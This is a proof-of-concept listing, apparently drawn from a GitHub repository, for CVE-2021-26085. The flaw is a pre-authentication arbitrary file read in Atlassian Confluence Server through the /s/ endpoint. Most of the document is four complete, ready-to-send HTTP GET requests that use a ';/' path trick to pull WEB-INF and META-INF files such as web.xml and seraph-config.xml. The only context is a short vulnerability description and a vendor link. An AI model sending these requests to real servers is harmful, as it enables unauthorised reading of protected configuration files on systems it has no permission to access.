CVE-2021-26085 PoC — Atlassian Confluence Server 安全漏洞

Source

https://github.com/ColdFusionX/CVE-2021-26085

Associated Vulnerability

Title: Atlassian Confluence Server 安全漏洞 (CVE-2021-26085)
Description:Affected versions of Atlassian Confluence Server allow remote attackers to view restricted resources via a Pre-Authorization Arbitrary File Read vulnerability in the /s/ endpoint. The affected versions are before version 7.4.10, and from version 7.5.0 before 7.12.3.

Description

Atlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability (CVE-2021-26085)

Readme

# CVE-2021-26085
Atlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability POC

Vulnerable Endpoints:
```
WEB-INF/web.xml
WEB-INF/decorators.xml
WEB-INF/classes/seraph-config.xml
META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties
META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml
```
POC #1 - web.xml

```
GET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```
POC #2 - seraph-config.xml

```
GET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

POC #3 - pom.properties

```
GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

POC #4 - pom.xml

```
GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

- For more information related to this vulnerability please refer to [CONFSERVER-67893](https://jira.atlassian.com/browse/CONFSERVER-67893)

File Snapshot

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